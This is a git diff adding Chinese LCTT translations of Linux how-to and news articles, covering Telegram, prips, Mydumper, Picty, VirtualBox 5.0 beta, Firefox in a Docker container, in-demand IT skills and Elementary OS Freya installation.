Telegram的特性 #### + +- 支持移动设备 +- 有桌面版本 +- 第三方开发者可以访问Telegram的应用程序接口(API)。 +- 支持Android, iphone/ipad, Windows Phone, Web-Version, PC, Mac 和 Linux。 +- 以上应用支持高度加密和自销毁信息。 +- 可以让你从多种设备和平台查看你的信息。 +- 整体的处理和消息传送都非常快 +- 为了安全和效率,在全球有分布式服务器 +- 开放的API和自由协议 +- 没有广告,没有认购费用。-永久免费 +- 功能强大-没有媒体和聊天限制 +- 多种安全措施使其免受黑客侵害 +- 在群组中回复特定信息。使用@username提醒群组里的多个用户 + +#### 为什么使用Telegram? #### + +在像WhatsApp以及其他及时通讯应用都提供了几乎同样的功能的情况下,为什么要选择Telegram? + +第三方开发者可以使用API这一点就足够了。更多PC的可用性意味着你不必再纠结在你的移动设备上打字,你可以使用你的PC,这样更具有可用性。 + +另外,支持连接远程地点,协作-多达200个成员的群组,在所有设备上同步,发送各种类型的文件,信息加密,自毁信息,在云上存储媒体,基于完全可用API构建自己的工具。 + +**测试环境** + +我们使用Debian GNU/Linux, x86_64结构测试,所有的步骤都非常顺利。以下是我们的详细步骤。 + +### 在Linux上安装Telegram Messenger ### + +首先去Telegram的官方网站,下载Linux系统版本的Telegram源码包([tsetup.0.7.23.tar.xz][1]),你也可以使用下面的wget命令直接下载。 + + # wget https://updates.tdesktop.com/tlinux/tsetup.0.7.23.tar.xz + +下载好安装包后,解压安装包,并从当前目录进入解压后的文件夹。 + + # tar -xf tsetup.0.7.23.tar.xz + # cd Telegram/ + +然后,如下所示,在命令行中执行二进制文件‘Telegram’. + + # ./Telegram + +1. 第一个界面, 点击 “START MESSAGING”. + +![开始安装](http://www.tecmint.com/wp-content/uploads/2015/03/Start-Messaging.jpeg) +开始安装 + +2. 输入你的手机号码,点击"Next"。如果在这之前你没有注册过Telegram,使用和之前输入相同的号码你会看到警告说你还没有Telegram账户。点击“Register Here”。 + +![注册Telegram](http://www.tecmint.com/wp-content/uploads/2015/03/Telegram-Register.png) +注册Telegram + +3. 提交你的手机号码之后,Telegram很快会给你发送一个验证码。你需要输入它。 + +![Telegram验证码](http://www.tecmint.com/wp-content/uploads/2015/03/Telegram-Verfication-Code.png) +Telegram验证码 + +4. 输入你的姓名,昵称并点击“SIGN UP”. + +![输入账户详细信息](http://www.tecmint.com/wp-content/uploads/2015/03/Enter-Account-Details.jpeg) +输入账户详细信息 + +5. 新建账户之后,我看到这个界面。一切准备就绪,尽管我对Telegram还不熟悉。这个界面真的很简洁。 + +![Telegram界面](http://www.tecmint.com/wp-content/uploads/2015/03/Telegram-Interface.jpeg) +Telegram界面 + +6. 点击新建联系人,输入他们的姓名和手机号码,完成后点击新建。 + +![新建Telegram联系人](http://www.tecmint.com/wp-content/uploads/2015/03/Add-New-Telegram-Contact.png) +新建Telegram联系人 + +7. 如果Telegram中还没有你输入的联系人,你会收到一个提示信息,当这个联系人加入Telegram的时候Telegram会通知你。 + +![Telegram联系人提示](http://www.tecmint.com/wp-content/uploads/2015/03/Telegram-Contact-Notification.jpeg) +Telegram联系人提示 + +8. 当联系人加入Telegram的时候,你会收到信息(类似弹出提示)显示[YOUR_CONTACT]加入了Telegram。 + +9. 在Linux系统上正式的聊天窗口。很好的体验… + +![联系人加入Telegram消息](http://www.tecmint.com/wp-content/uploads/2015/03/Telegram-Contact-Join-Message.jpeg) +联系人加入Telegram消息 + +10. 同时,我试着在我的Android移动设备上发送信息,两者之间界面非常相似。 + +![移动版Telegram界面](http://www.tecmint.com/wp-content/uploads/2015/03/Telegram-Mobile-Interface.png) +移动版Telegram界面 + +11. Telegram设置页面. 你有很多可以配置的选项. + +![设置Telegram](http://www.tecmint.com/wp-content/uploads/2015/03/Telegram-Settings.png) +设置Telegram + +12. 关于Telegram. + +![关于Telegram](http://www.tecmint.com/wp-content/uploads/2015/03/About-Telegram.jpeg) +关于Telegram + +#### 有趣的几点 #### + +- Telegram使用MTProto移动协议 +- 一开始在2013年(8月14号)发布iPhone版 +- 惊人项目背后的人物:Pavel and Nikolai Durov.. + +就是这些了。我还会为大家带来你们喜欢阅读的其它有趣文章。很高兴能代表Tecmint,感谢我们尊贵的读者以及使得我们通过不断的自我提升走到这里的批评者。保持联系!继续评论。如果你关注我们那就请分享吧。 + +- [https://telegram.org/][2] + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-telegram-in-linux/ + +作者:[Avishek Kumar][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://tdesktop.com/linux +[2]:https://telegram.org/ diff --git a/published/201504/20150324 Prips--Print IP address on a given range.md b/published/201504/20150324 Prips--Print IP address on a given range.md new file mode 100644 index 0000000000..4d663bb953 --- /dev/null +++ b/published/201504/20150324 Prips--Print IP address on a given range.md @@ -0,0 +1,60 @@ +Prips - 打印指定范围内的IP地址 +================================================================================ +prips是一个可以打印出指定范围内所有ip地址的一个工具。它可以增强那些只能同时工作在一个主机上的工具的可用性。 + +### 在ubuntu上安装prips ### + +打开终端并输入下面的命令 + + sudo apt-get install prips + +### 使用prips ### + +prips语法 + + prips [-c] [-d delim] [-e exclude] [-f format] [-i incr] start end + prips [-c] [-d delim] [-e exclude] [-f format] [-i incr] CIDR-block + +### 可用选项 ### + +prips接受下面的命令行选项: + +- -c -- 以CIDR形式打印范围。 +- -d 分隔符 -- 用ASCII码作为分隔符,0 <= 分隔符 <= 255。 +- -e -- 排除输出的范围。 +- -f 格式 -- 设置地址格式 (hex:16进制, dec:10进制, 或者dot:以点分隔). +- -i 增长 -- 设置增长上限 + +### Prips示例 ### + +显示保留的子网内的所有地址: + + prips 192.168.32.0 192.168.32.255 + +同上面一样,使用CIDR标示: + + prips 192.168.32/24 + +只显示A类保留子网内所有可用的地址,用空格而不是换行作为分隔符: + + prips -d 32 10.0.0.1 10.255.255.255 + +每块显示4个ip地址: + + prips -i 4 192.168.32.7 192.168.33.5 + +打印包含两个地址的最小CIDR块。 + + prips -c 192.168.32.5 192.168.32.11 + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/prips-print-ip-address-on-a-given-range.html + +作者:[ruchi][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix diff --git a/published/201504/20150326 Mydumper--Mysql Database Backup tool.md b/published/201504/20150326 Mydumper--Mysql Database Backup tool.md new file mode 100644 index 0000000000..dd1fd14110 --- /dev/null +++ b/published/201504/20150326 Mydumper--Mysql Database Backup tool.md @@ -0,0 +1,107 @@ +Mydumper - MySQL数据库备份工具 +================================================================================ +Mydumper 是 MySQL 数据库服务器备份工具,它比 MySQL 自带的 mysqldump 快很多。它还有在转储的同时获取远程服务器二进制日志文件的能力。 + +### Mydumper 的优势 ### + +- 并行能力 (因此有高速度) 和性能 (高效的代码避免了耗费 CPU 处理能力的字符集转换过程) +- 更容易管理输出 (每个表都对应独立的文件,转储元数据等,便于查看/解析数据) +- 一致性 :跨线程维护快照, 提供精确的主从日志定位等。 +- 可管理性 : 支持用 PCRE 来包含/排除指定的数据库和表(LCTT译注:PCRE,Perl Compatible Regular Expression,Perl兼容正则表达式) + +### 在Ubuntu上安装 mydumper ### + +打开终端运行以下命令 + + sudo apt-get install mydumper + +### 使用 Mydumper ### + +#### 语法 #### + + mydumper [options] + +应用程序选项: + +- -B, --database 要转储的数据库 +- -T, --tables-list 逗号分隔的转储表列表(不会被正则表达式排除) +- -o, --outputdir 保存输出文件的目录 +- -s, --statement-size 插入语句的字节大小, 默认是1000000个字节 +- -r, --rows 把表按行数切块 +- -c, --compress 压缩输出文件 +- -e, --build-empty-files 空表也输出文件 +- -x, --regex 匹配‘db.table’的正则表达式 +- -i, --ignore-engines 以逗号分隔的被忽略的存储引擎列表 +- -m, --no-schemas 不转储表架构 +- -k, --no-locks 不执行临时共享读锁。警告: 这会导致备份的不一致性 +- -l, --long-query-guard 设置长查询的计时器秒数,默认是60秒 +- --kill-long-queries 杀死长查询 (而不是退出程序) +- -b, --binlogs 获取二进制日志文件快照并转储数据 +- -D, --daemon 开启守护进程模式 +- -I, --snapshot-interval 每个转储快照之间的间隔时间(分钟), 需要开启 --daemon, 默认是60分钟 +- -L, --logfile 日志文件的名字,默认是stdout +- -h, --host 要连接的主机 +- -u, --user 有转储权限的用户名 +- -p, --password 用户密码 +- -P, --port 连接的TCP/IP端口 +- -S, --socket 用于连接的Unix套接字文件 +- -t, --threads 使用的线程数,默认是4 +- -C, --compress-protocol 在MySQL连接上使用压缩 +- -V, --version 查看程序版本号 +- -v, --verbose 输出信息的等级, 0 = silent, 1 = errors, 2 = warnings, 3 = info, 默认是2 + +#### Mydumper 例子 #### + + mydumper \ + --database=$DB_NAME \ + --host=$DB_HOST \ + --user=$DB_USER \ + --password=$DB_PASS \ + --outputdir=$DB_DUMP \ + --rows=500000 \ + --compress \ + --build-empty-files \ + --threads=2 \ + --compress-protocol + +Mydumper 输出数据的说明 + +Mydumper 不直接指定输出的文件,而是输出到文件夹的文件中。--outputdir 选项指定要使用的目录名称。 + +输出分为两部分 + +**表结构** + +对数据库中的每个表,创建一个包含 CREATE TABLE 语句的文件。文件命名为: + +dbname.tablename-schema.sql.gz + +**数据** + +每个表名跟着按 --rows 参数所切块的数量, 创建文件名字为: + +dbname.tablename.0000n.sql.gz + +"n"从0开始. + +你可以使用Myloader恢复这些备份 + + myloader \ + --database=$DB_NAME \ + --directory=$DB_DUMP \ + --queries-per-transaction=50000 \ + --threads=10 \ + --compress-protocol \ + --verbose=3 + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/mydumper-mysql-database-backup-tool.html + +作者:[ruchi][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix \ No newline at end of file diff --git a/published/201504/20150330 Picty--Managing Photos Made Easy.md b/published/201504/20150330 Picty--Managing Photos Made Easy.md new file mode 100644 index 0000000000..d1b9fb63bb --- /dev/null +++ b/published/201504/20150330 Picty--Managing Photos Made Easy.md @@ -0,0 +1,102 @@ +Picty:让图片管理变简单 +================================================================================ +![](http://1102047360.rsc.cdn77.org/wp-content/uploads/2015/03/picty_002-790x429.png) + +### 关于Picty ### + +**Picty**是个免费,简单,却强大的照片收藏管理器,它可以帮助你管理你的照片。它是围绕着**元数据**管理和图像**无损**处理设计的。Picty目前同时支持在线(基于网页的)和离线(本地的)收藏集。在本地的收藏集中,图片将被保存在一个本地的文件夹及其子文件夹中。为了加快用户主目录里图片的查询速度,它会维持一个数据库。在在线(基于网页的)收藏集中,你可以通过网页浏览器上传并分享图片。拥有适当权限的个人用户可以把图片分享给任何人,而且用户可以同时打开多个收藏集,收藏集也可以分享给多个用户。有个简单的界面可以通过传输插件在收藏集之间传输图片。 + +你可以从你的相机或任何设备中下载任何数量的照片。除此之外,Picty允许你在下载前浏览在你相机里的图片集。Picty是个轻量级的应用,界面清爽。它支持Linux和Windows平台。 + +### 功能 ### + +- 支持大相片集(20000张以上)。 +- 同时打开多个收藏集,还可以在它们之间传照片。 +- 收藏集包括: + - 本地文件系统中保存图片的文件夹。 + - 相机、电话及其他媒体设备中的图片。 + - 图片保存服务(目前支持Flickr) +- Picty不是把相片“导入”到它的数据库中,它仅仅提供了一个界面来访问它们,不管它们保存在哪。为了保持迅速的反应以及能使你在离线时浏览图片的能力,Picty会保存缩略图和元数据的缓存。 +- 以业界标准格式Exif、IPTC和Xmp读写元数据。 +- 无损的方法: + - Picty把所有改变包括图像编辑以元数据的方式写入。例如,一个图片可以以任何方式剪切保存,原来的图像仍然保存在该文件里。 + - 修改会保存在Picty的收藏集缓存中直到你把你对元数据的修改保存到图片中,所以你能很容易撤销你不喜欢的未保存的修改。 +- 基本图片编辑功能: + - 目前支持基本的图像增强,如亮度、对比度、色彩、剪切以及矫正。 + - 将要推出一些工具改进及更多工具。(红眼消除、拉伸、弯曲、噪声消除) +- 图片标签: + - 使用标准的IPTC和Xmp关键词为图片做标签。 + - 一个树状标签图让你能很容易的管理标签和在收藏集内导航。 +- 文件夹视图: + - 按照目录的结构对你的图片收藏集进行导航 +- 支持多屏显示 + - Picty可以设置成让你在一个屏幕上浏览你的收藏集同时在另一个屏幕上全屏显示图片。 +- 可个性化 + - 可以为外部工具创建快捷方式 + - 支持插件——目前提供的功能中有许多(标签和文件夹视图以及所有的图片编辑工具)都可以通过插件提供。 + - 使用Python编写——内置电池(batteries included)! + +### 安装方法 ### + +#### 1、从PPA安装 #### + +Picty开发人员为Ubuntu这样的基于 Debian的发行版创建了一个PPA,让安装更简单。 + +要在Ubuntu和它的衍生版上安装,请运行以下命令: + + sudo add-apt-repository ppa:damien-moore/ppa + sudo apt-get update + sudo apt-get install picty + +#### 2、从源文件安装 #### + +此外,你还可以从源文件安装。首先安装如下依赖项。 + + sudo apt-get install bzr python-pyinotify python-pyexiv2 python-gtk2 python-gnome2 dcraw python-osmgpsmap python-flickrapi + +然后,使用下面这个命令得到最新版本: + + bzr branch lp:picty + +要运行Picty,先转到Picty所在的目录,然后输入: + + cd picty + bin/picty + +要想更新到最新版,请运行: + + cd picty + bzr pull + +### 使用方法 ### + +可以从目录或Unity Dash启动Picty。 + +![picty_001](http://www.unixmen.com/wp-content/uploads/2015/03/picty_001.png) + +你可以选择已存在的收藏集、设备或目录。这里让我们创建一个**新收藏集** ,请先点击新收藏集(New Collection)按钮。进入收藏集,然后浏览到你保存图片的地方。最后,点击**创建(Create)**按钮。 + +![Create a Collection_001](http://www.unixmen.com/wp-content/uploads/2015/03/Create-a-Collection_001.png) + +![picty_002](http://www.unixmen.com/wp-content/uploads/2015/03/picty_002.png) + +你可以对每张图片进行修改,旋转,添加/移除标签,设置描述。只需右击任何一个图片然后爱做什么做什么。 + +访问下面这个Google组可以得到更多关于Picty相片管理器的信息和支持。 + +- [http://groups.google.com/group/pictyphotomanager][1] + +干杯! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/picty-managing-photos-made-easy/ + +作者:[SK][a] +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ +[1]:http://groups.google.com/group/pictyphotomanager diff --git a/published/201504/20150402 The VirtualBox 5.0 beta is finally here.md b/published/201504/20150402 The VirtualBox 5.0 beta is finally here.md new file mode 100644 index 0000000000..b725657127 --- /dev/null +++ b/published/201504/20150402 The VirtualBox 5.0 beta is finally here.md @@ -0,0 +1,36 @@ +VirturalBox 终于进入到 5.0 世代 +======================================= + +**本月初,甲骨文公司的桌面虚拟化软件获得了近五年来的第一次重大改版,但是更像是改进而不是革命性的的变化。** + +VirtualBox,由Sun公司创建,现在由甲骨文管理的开源虚拟化系统,获得了近5年来第一次的主版本更新发布。 + +从发行说明和测试版本身的表现来看,别期望任何真正革命性的改变。在此版本中,VirtualBox在视觉上和技术上都做了一些改进,但和VMware相比,它的主要优势仍然是相同核心功能的开源实现。 + +VirtualBox 4.0的最后一个主要版本在2010年12月发布,它采用了新的图形化用户界面,新的虚拟化硬件和重组的项目设计,进行了重大的改版。但项目主要版本的发布步伐缓慢,上一次重要版本(版本4.3)在2013年底才发布。从那时起,一切都被正式称为“维护”发布。 + +![](http://images.techhive.com/images/article/2015/04/vbox-5-100576781-large.idge.png) + +*VirtualBox 5.0的第一个测试版增加了编辑菜单,VM窗口的快捷方式图标等功能,如下面所示。* + +VirtualBox 5.0最大的变化是增加了对硬件辅助虚拟化指令集扩展的支持。AES-NI指令集通常用于加密时的硬件加速,SSE 4.1和SSE 4.2指令集都包括在其中。另外一点是支持Windows和Linux客户机的半虚拟化,一个抽象主机音响设备的新的架构以及支持客户机中的USB 3(xHCI)控制器。 + +大部分可用性更新都是对 VirtualBox 图形化用户界面的改进。一个大的变化就是支持给单个虚拟主机自定义菜单和工具栏,这样很少或者从不使用的选项就可以彻底删除。另外重要的一点是可以在VirtualBox接口内部对虚拟磁盘进行加密,而不依赖于客户机操作系统自身的磁盘加密功能(假设有的话)。 + +甲骨文公司提醒由于这是个测试版软件,需要谨慎对待。当然,主界面和客户机系统界面的某个角落打着红黑相间的测试警告标志。但之前VirtualBox发行版(4.3.26)上创建的Windows 10虚拟机启动和运行都没问题,5.0版本中添加的VirtualBox客户机功能--更好的视频支持,双向复制和粘贴,以及其它功能--在安装的时候也没有问题。(从4.3.18版本就改进了对 Windows 10的支持)。 + +虽然没有明确指出5.0的最终版什么时候会发布,但是甲骨文公司[建议用户][1]在非生产环境中下载和使用测试版,并在[测试版反馈论坛][2]中提交bug报告。 + +-------------------------------------------------------------------------------- + +via: http://www.infoworld.com/article/2905098/virtualization/oracle-virtualbox-5-0-beta-is-finally-here.html + +作者:[Serdar Yegulalp][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.infoworld.com/author/Serdar-Yegulalp/ +[1]:https://forums.virtualbox.org/viewtopic.php?f=15&t=66904 +[2]:https://forums.virtualbox.org/viewforum.php?f=15 diff --git a/published/201504/20150409 How to Run GUI Apps in a Docker Container.md b/published/201504/20150409 How to Run GUI Apps in a Docker Container.md new file mode 100644 index 0000000000..4f2e439799 --- /dev/null +++ b/published/201504/20150409 How to Run GUI Apps in a Docker Container.md @@ -0,0 +1,78 @@ +如何在Docker容器中运行GUI程序 +================================================================================ +各位,今天我们将学习如何在[Docker][1]之中运行GUI程序。我们可以轻易地在Docker容器中运行大多数GUI程序且不出错。Docker是一个开源项目,提供了一个打包、分发和运行任意程序的轻量级容器的开放平台。它没有语言支持、框架或者打包系统的限制,并可以运行在任何地方、任何时候,从小型的家用电脑到高端的服务器都可以运行。这让人们可以打包不同的包用于部署和扩展网络应用,数据库和后端服务而不必依赖于特定的栈或者提供商。 + +下面是我们该如何在Docker容器中运行GUI程序的简单步骤。本教程中,我们会用Firefox作为例子。 + +### 1. 安装 Docker ### + +在开始前,我们首先得确保在Linux主机中已经安装了Docker。这里,我运行的是CentOS 7 主机,我们将运行yum管理器和下面的命令来安装Docker。 + + # yum install docker + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/installing-docker.png) + + # systemctl restart docker.service + +### 2. 创建 Dockerfile ### + +现在,Docker守护进程已经在运行中了,我们现在准备创建自己的Firefox Docker容器。我们要创建一个Dockerfile,在其中我们要输入需要的配置来创建一个可以工作的Firefox容器。为了运行 Docker 镜像我们需要使用最新版本的CentOS。要创建 Docker 镜像,我们需要用文本编辑器创建一个名为Dockerfile的文件。 + + # nano Dockerfile + +接着,在Dockerfile中添加下面的行并保存。 + + #!/bin/bash + FROM centos:7 + RUN yum install -y firefox + # 用你自己的 uid /gid 替换下面的0 + RUN export uid=0 gid=0 + RUN mkdir -p /home/developer + RUN echo "developer:x:${uid}:${gid}:Developer,,,:/home/developer:/bin/bash" >> /etc/passwd + RUN echo "developer:x:${uid}:" >> /etc/group + RUN echo "developer ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers + RUN chmod 0440 /etc/sudoers + RUN chown ${uid}:${gid} -R /home/developer + + USER developer + ENV HOME /home/developer + CMD /usr/bin/firefox + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/Dockerfile-GUI.png) + +**注意:在第四行的配置中,用你自己的用户和组id来替换0。 我们可以用下面的命令在shell或者终端中得到uid和gid。** + + # id $USER + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/user-id.png) + +### 3. 构造Docker容器 ### + +下面我们就要根据上面的Dockerfile构建一个容器。它会安装firefox浏览器和它需要的包。它接着会设置用户权限并让它可以工作。这里镜像名是firefox,你可以根据你的需要命名。 + + # docker build --rm -t firefox . + +![](http://blog.linoxide.com/wp-content/uploads/2015/03/building-firefox-docker.png) + +### 4. 运行Docker容器 ### + +现在,如果一切顺利,我们现在可以在运行在CentOS 7镜像中的Docker容器里面运行我们的GUI程序也就是Firefox浏览器了。 + + # docker run -ti --rm -e DISPLAY=$DISPLAY -v /tmp/.X11-unix:/tmp/.X11-unix firefox + +### 总结 ### + +在Docker容器中运行GUI程序是一次很棒的体验,它对你的主机文件系统没有任何的伤害。它完全依赖你的Docker容器。本教程中,我尝试了CentOS 7 Docker中的Firefox。我们可以用这个技术尝试更多的GUI程序。如果你有任何问题、建议、反馈请在下面的评论栏中写下来,这样我们可以提升或更新我们的内容。谢谢! + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/run-gui-apps-docker-container/ + +作者:[Arun Pyasi][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:http://docker.io/ diff --git a/published/201504/20150410 10 Famous IT Skills in Demand That Will Get You Hired.md b/published/201504/20150410 10 Famous IT Skills in Demand That Will Get You Hired.md new file mode 100644 index 0000000000..df972fb96b --- /dev/null +++ b/published/201504/20150410 10 Famous IT Skills in Demand That Will Get You Hired.md @@ -0,0 +1,140 @@ +10个所需的IT技能,助你职场成功 +=========================================================================== +接我们上次的文章[[十大所需的操作系统][1]],这篇文章得到了Tecmint社区很高的评价,在本篇中,我们将指点顶尖的IT技能,这会帮助你找到理想的工作。 + +如第一篇文章提到的那样,这些资料和统计结果是会伴随市场和需求的变化而变化的。只要有任何主要的变化,我们会尽可能地更新列表。所有的统计数据基于最近的,全球一些IT公司的招聘信息和需求。 + +### 1. VMware ### + +VMware公司设计的虚拟化和云计算软件高居榜首。VMware首次宣布商业支持x86架构的虚拟化。VMware的招聘需求在上个季度已经增长至16%。 + +最新稳定发行版: 11.0 + +### 2. MySQL ### + +这款开源的关系型数据库管理系统憾居第二。直到2013年,MySQL都还是第二大使用广泛的RDBMS(注:Relational Database Management System)。上季度MySQL的招聘需求已经达到了11%。非常著名的MarialDB就是来自被甲骨文公司收购之后的MySQL的分支。值得掌握。 + +最新稳定发行版: 5.6.23 + +### 3. Apache ### + +这个跨平台的开源网页(HTTP)服务器位居第三。截至上个季度,Apache的招聘需求已经超过了13%。 + +最新稳定发行版: 2.4.12 + +### 4. AWS ### + +AWS是亚马逊网站提供的所有远程计算服务的集合,AWS排在第四位。上个季度,AWS的招聘需求已经呈现出将近14%的增长。 + +### 5. Puppet ### + +Puppet作为配置管理系统被应用在设置IT基础架构,它排在第五位。它用Ruby语言编写,属于客户端-服务器型的结构。上个季度puppet的招聘需求已经增长超过9%。 + +最新稳定发行版: 3.7.3 + +### 6. Hadoop ### + +Hadoop是用Java编写的一款开源软件框架,用于处理大数据。列表中Hadoop位列第六。对Hadoop的招聘需求在上个季度已经下降了0.2个百分点。 + +最新稳定发行版: 2.6.0 + +### 7. Git ### + +Linux Torvalds最初编写的著名版本控制系统Git排在了第七。Git的招聘需求在上个季度已经超过了7%。 + +最新稳定发行版: 2.3.4 + +### 8. Oracle PL/SQL ### + +Oracle公司开发的SQL扩展版,占据第八的位置。PL/SQL从Oracle 7后就包含在Oracle数据库中。它在上个季度已经呈现将近8%的衰退。 + +### 9. Tomcat ### + +这个开源网页服务器和服务程序容器出现在了第九的位置。在上个季度,它已经表现出需求增长,将近15%。 + +最新稳定发行版: 8.0.15 + +### 10. SAP ### + +这款最著名的企业资源规划软件排在了第十。上个季度SAP在需求市场表现出将近3.5%的增长。 + +具体数据表格如下: + + +++++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
1. + VMware16% +
2. + MySQL11% +
3.Apache13% +
4. + Amazon web services (AWS)14% +
5. + Puppet9% +
6.Hadoop0.2% +
7.Git7% +
8.Oracle PL/SQL8% -
9.Tomcat15% +
10.SAP3.5% +
+ +这篇文章就到这里,我会积极跟进这个系列的下一部分。敬请期待,保持联系,积极评论。不要忘了给我们提供你的反馈。喜欢的话就分享吧,让更多人认识我们。 + +--------------------------------------------------------------------------- + +via: http://www.tecmint.com/famous-it-skills-in-demand-that-will-get-you-hired/ + +作者:[Avishek Kumar][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/top-distributions-in-demand-to-get-your-dream-job/ diff --git a/published/201504/20150413 Elementary OS 0.3 Freya Screenshots - Download and Install Guide.md b/published/201504/20150413 Elementary OS 0.3 Freya Screenshots - Download and Install Guide.md new file mode 100644 index 0000000000..345cae0272 --- /dev/null +++ b/published/201504/20150413 Elementary OS 0.3 Freya Screenshots - Download and Install Guide.md @@ -0,0 +1,144 @@ +直击 Elementart OS 0.3 Freya - 下载和安装指南 +=========================================================================== +Elementary OS是一个以Ubuntu为基础的轻量级操作系统,广受欢迎。目前已经发行了三个版本,而第四个版本将会以即将到来的Ubuntu16.04为基础开发。 + +- **Jupiter (0.1)**: 第一个Elementary OS稳定发行版基于Ubuntu 10.10,在2011年三月发布。 +- **Luna (0.2)**: Elementary OS第二个稳定发行版基于Ubuntu 12.04,于2012年11月发布。 +- **Freya (0.3)**: Elementary OS第三个稳定发行版基于Ubuntu 14.04的,2015年二月8号发布。 +- **Loki (0.4)**: 未来Elementary OS第四版,计划以Ubuntu16.04为基础,并且提供更新服务直到2021年。 + +Freya是目前最新的Elementary OS版本(0.3)。最初是被命名为ISIS,但是后来改了,是为了避免与同名的恐怖组织产生任何的联系。Freya有一些非常不错的预装应用。 + +### 突出的特性 ### + +这里列举了一些特性,但并非Elementary OS 0.3的所有特性。 + +- 更好的交互性消息通知,可在通知设定面板设定系统级别的“Do Not Disturb(不要打扰)”模式。 +- 最新版Elementary OS提供更好的emoji表情支持,及内置替换了网页应用中的微软核心字体。 +- Privacy模式是一个新的防火墙工具,易于使用,可以帮助保护电脑免遭恶意脚本和应用的攻击。 +- 统一风格的登入和锁定界面。 +- 改进了界面效果和功能的应用中心菜单,包括快速操作列表,搜索拖放,支持快速数学计算。 +- 重新设计的多任务视图提供更多以应用为中心的功能。 +- 更新了软件栈(Linux 3.16, Gtk 3.14 和Vala 0.26),更好的支持和增强了最新开发的应用。 +- UEFI支持。 +- 通过新的联网助手,WiFi连接变得更容易。 + +### 下载64位&32位版本 ### + +- [Elementary OS Freya 64 bit][1] +- [Elementary OS Freya 32 bit][2] + +### 安装Elementary OS 0.3 (Freya) ### + +下载Elementary OS 0.3的ISO文件,并且写入到一个USB启动盘或者DVD/CD。支持32位和64位的架构。当计算机从Elementary OS ISO文件启动后,有两个选项可用,或不安装而仅试用,或直接安装到计算机里。这里选择第二项。Elmentary OS也可以与已有操作系统并存安装,构成双重启动。 + +![Install Freya](http://blog.linoxide.com/wp-content/uploads/2015/04/Install-Freya.png) + +在进行下面的步骤之前会检查系统要求和资源有效性。如果你的系统有足够的资源,点击继续。 + +![Installation Requirements](http://blog.linoxide.com/wp-content/uploads/2015/04/Installation-Requirements.png) + +安装向导提供许多安装形式。选取最适合你的选项,通常大多数都选用第一个选项:“擦除磁盘以安装Elementary”。选择该选项,必须保证你的原有数据都已经正确备份了,因为磁盘(分区)将会被擦除,其上所有的数据将会丢失。 + +![Installation Types](http://blog.linoxide.com/wp-content/uploads/2015/04/Installation-Types.png) + +接下来的对话框显示了Elementary OS所使用和需要格式化的磁盘分区列表,确保数据完整后点击继续。 + +![Format Warning](http://blog.linoxide.com/wp-content/uploads/2015/04/Format-Warning.png) + +选择你的地理位置,确定时区,点击继续。 + +![Location](http://blog.linoxide.com/wp-content/uploads/2015/04/Location.png) + +选择你的语言,点击继续。 + +![Language](http://blog.linoxide.com/wp-content/uploads/2015/04/Language.png) + +填入你的信息,选择一个高强度的超级用户/管理员密码,点击继续。 + +![whoareyou](http://blog.linoxide.com/wp-content/uploads/2015/04/whoareyou.png) + +当你的信息提供后,核心安装进程就会启动,正在安装的组件的详细信息会在一个小对话框里随进度条一闪而过。 + +![Installation progress](http://blog.linoxide.com/wp-content/uploads/2015/04/Installation-progress.png) + +恭喜你!最新的Elementary OS 0.3 (Freya)已经安装完成了。此时需要重启来更新和完整注册,恭喜。 + +![Installation Complet](http://blog.linoxide.com/wp-content/uploads/2015/04/Installation-Complet.png) + +启动时,Elementary OS将显示它优雅的logo,然后会出现密码保护的管理员登入和游客访问选项。游客访问有相当多的限制功能,而且没有安装软件的权限。 + +![Login](http://blog.linoxide.com/wp-content/uploads/2015/04/Login.png) + +下图是新安装的Elementary OS 0.3的画面。 + +![first look](http://blog.linoxide.com/wp-content/uploads/2015/04/first-look.png) + +### 个性化桌面 ### + +Elementary OS 0.3以其轻巧和美观而为我们熟知,每个人有自己独特的审美观和计算机使用习惯。桌面反映出每一个计算机使用者的个人偏好。如其他操作系统一样,Elementary OS 0.3也提供了许多选项来个性化配置桌面,包括壁纸,字体大小,主题等等。 + +基本的个性化配置,点击Applications > System Settings > Desktop + +我们可以改变壁纸,泊板(dock)和启用桌面热角。 + +默认提供了很少的壁纸,更多的可以从网上下载或者从你的相机传输过来。 